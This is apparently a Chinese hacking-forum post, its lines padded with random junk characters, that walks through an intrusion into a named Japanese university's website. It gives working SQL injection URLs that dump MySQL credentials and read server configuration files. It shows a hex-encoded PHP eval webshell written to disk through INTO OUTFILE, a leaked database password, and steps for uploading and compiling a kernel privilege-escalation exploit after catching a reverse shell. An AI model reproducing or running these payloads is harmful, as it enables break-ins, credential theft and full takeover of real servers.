入侵日本同志社大学技术分析
+ c3 x. j3 t3 P4 d
; c: \. Y2 V$ `2 ~9 Q4 R4 w& \http://www.doshisha.ac.jp/chs/news/index.php?i=-13 q, I! K& B2 I' h; a# ~ |+ H
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
6 W; z5 L# Z* i, b+ V* F. e [* l n6 c
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user+ ^5 W5 h6 A3 T' w
1 n" S3 n! G) J- T: L- J1 o + B: r# w! p' u. v- z9 |, o
3 Z4 g) A% K8 N: B. m5 s+ n9 [, b//@@datadir为数据库文件路径 0 _# a8 }9 Q6 ~1 k& _3 J' J
2 A3 H; }% e: ?9 }$ Q
" I2 i, m" Q* N//load_file读取网站容器apache的配置文件 - w+ o& a @+ I7 q: T% I
4 f6 P8 i' ^, a( L- P2 p1 o, U2 [3 h4 O* V8 w( G0 ]
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 : o7 N2 o0 ?4 m" n9 d
复制代码8 a% H8 o' E* ~4 c" j, |
I( T1 \7 G6 V6 L
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。/ i: D, e- B. [! K* h
; R" e1 D7 a. D7 W
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
0 ]& F! s, c' z2 Q9 b, c) `(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html): J2 U. E3 T4 x3 W+ b
2 k6 B: j4 o, z2 r6 E
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
7 H4 m( V! l( x6 _4 t如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html3 Z5 V: ~6 T b6 U
/ r3 Q7 {; J: K+ [ ?既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/9 e- a% M9 [. ?. \% _
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
d/ o7 Q, E2 T# |5 L直接写一句话:* ?4 b- D, K; y$ b
7 D& |) o7 m6 N/ C% L9 P( m
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#3 B0 _# T# X; N4 Q
6 ]0 o2 B! A4 Q1 |* G5 x* Q& a; q
9 x) Z8 p v9 ]: t( s2 x1 a7 N( e( d5 I1 K" O+ H
//最后的#是为了闭合前面的语句 - a: }3 k2 c3 E/ {0 a
' C4 L6 G3 B# b. O
6 H6 _9 l7 X! N; J+ u0 `/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
3 \" K* B, ^$ x
% U1 O k H0 ?1 v0 Z. H3 \! U1 K( Y/ J; z$ a. O
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ P% N/ ~$ y% r' C, M; k
. p' a0 x/ p0 M! L# p
. p4 {9 M+ }3 m* U; Z# {//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
, |6 Z) e+ \, b8 @3 ] Q2 D6 T 4 r6 \6 r4 z/ |0 Q. a' d2 c! g: q# {
. X& e/ q9 M' e! j& u" m
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 0 P; z- X, \$ \5 S, m9 Z7 Q: Q. h% r
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
$ ^: q/ [( R0 u5 p复制代码
* s( C, H. \6 U. }. j$ A" @ j" M" K( ~5 M; W: R0 J
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有& e; S, j- q8 C) B9 `; i
通过上述注入语句,我们就得到了一句话木马:) T) l! X2 y7 N
d) j" z+ Q4 r0 [2 r ( y% l; m8 q; N' ]3 f# V2 `/ }
8 I. D9 K# j+ j
- w& w3 W, _0 Z* a' [5 @. C0 U: e J, g9 a1 K) [
http://www.doshisha.ac.jp/english/engnews_img/aa.php ' T2 }8 m& h0 Q6 m" ^- I
复制代码
& z. }) W3 A S$ z! B3 r3 L# ?+ M& ]( c7 A3 [
用菜刀连接,密码是cmd,如图所示:
3 m' \! y. D5 T7 D- o然后在命令提示行里看了一下,现在的权限是:: z4 `! V" U- X3 k
/ M! a+ E5 y. t @, ~之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
5 L* n7 Y8 u% D& p. h, r好在赋权给这个文件夹不需要root,直接执行赋权语句:
4 F N8 ]7 ~+ n7 B6 {5 L% f! F) w! I6 q/ n7 M& X, |+ z( a
) }& [9 n; C! o: I/ G
0 q9 ], Q Y' Y, H- W $ D# u. q7 R1 z
8 {) f. c* R1 R, @ D E- ochmod +x /tmp/
" A4 C( a) {0 Z' Y5 j复制代码, V% Z' r7 o4 Y* R: P$ O
, |/ w U7 i+ c. K) K
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行9 l9 B U3 d7 P3 p" J9 {
然后就查了一下内核版本:/ h0 y, S! D" F; F$ G% N
, u# {% K# B- @( f0 V7 n$ i
& X3 H0 H/ G3 z$ `6 h, p$ P) T0 f$ J s& D5 m0 l4 V. b
3 M3 G* J, |$ @5 K* W: ]+ E; u8 L
/ a( o5 y ?- `' r. G9 U; {; Vuname-a
- W3 n% C L0 T' i/ f8 y6 K# C - Y4 K# W, S2 H( h/ \" C+ W/ \( M5 k
2 `# d$ {2 P) F" ~2 A8 ]5 e
//其实lsb_release -a
# X" g; ~; _2 K4 w( w! F复制代码# ?* x- t4 O1 P' b
* p- ^8 ~7 j* q, L" Z
如图所示:+ @$ Y2 [7 e2 A0 A% w; ?
: P6 E% v! S, \! ^+ d8 C
内核版本:linux mainz1 2.6.28-194.e15/ f3 _# k1 r2 |9 {
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga), g! F/ s: [" ]+ W
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹9 o% V* r' F3 Q" O& V( o9 b7 D2 b
+ A. W+ C) W: ?, u. F$ Q( X% ?
然后给予执行权限) _! g Q8 `" D( g. t
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样' s4 W* @6 t4 ? ?( N! p0 `
- R5 y6 \0 s X) }2 Q/ G
8 W5 _/ d a* b, j
. w% i# ~7 d7 Y, [ : w$ N4 M9 w1 q: {
3 P; A' W/ r" G, E* S" [+ _chmod +x /tmp/2.6.18-194 , E* M% I7 S. B) ]
复制代码 然后直接执行!~8 d3 n+ z" b; E1 l( l
2 p# q H6 e, S: x6 I& L( y总结:: k1 w X: G* l# p" C# E! @( M, K
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了2 s, @& e/ Y1 ?: v
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root p: N9 m, s$ w" I' T: T
6 G! {4 S4 s& h; V# Q6 i8 W7 s
|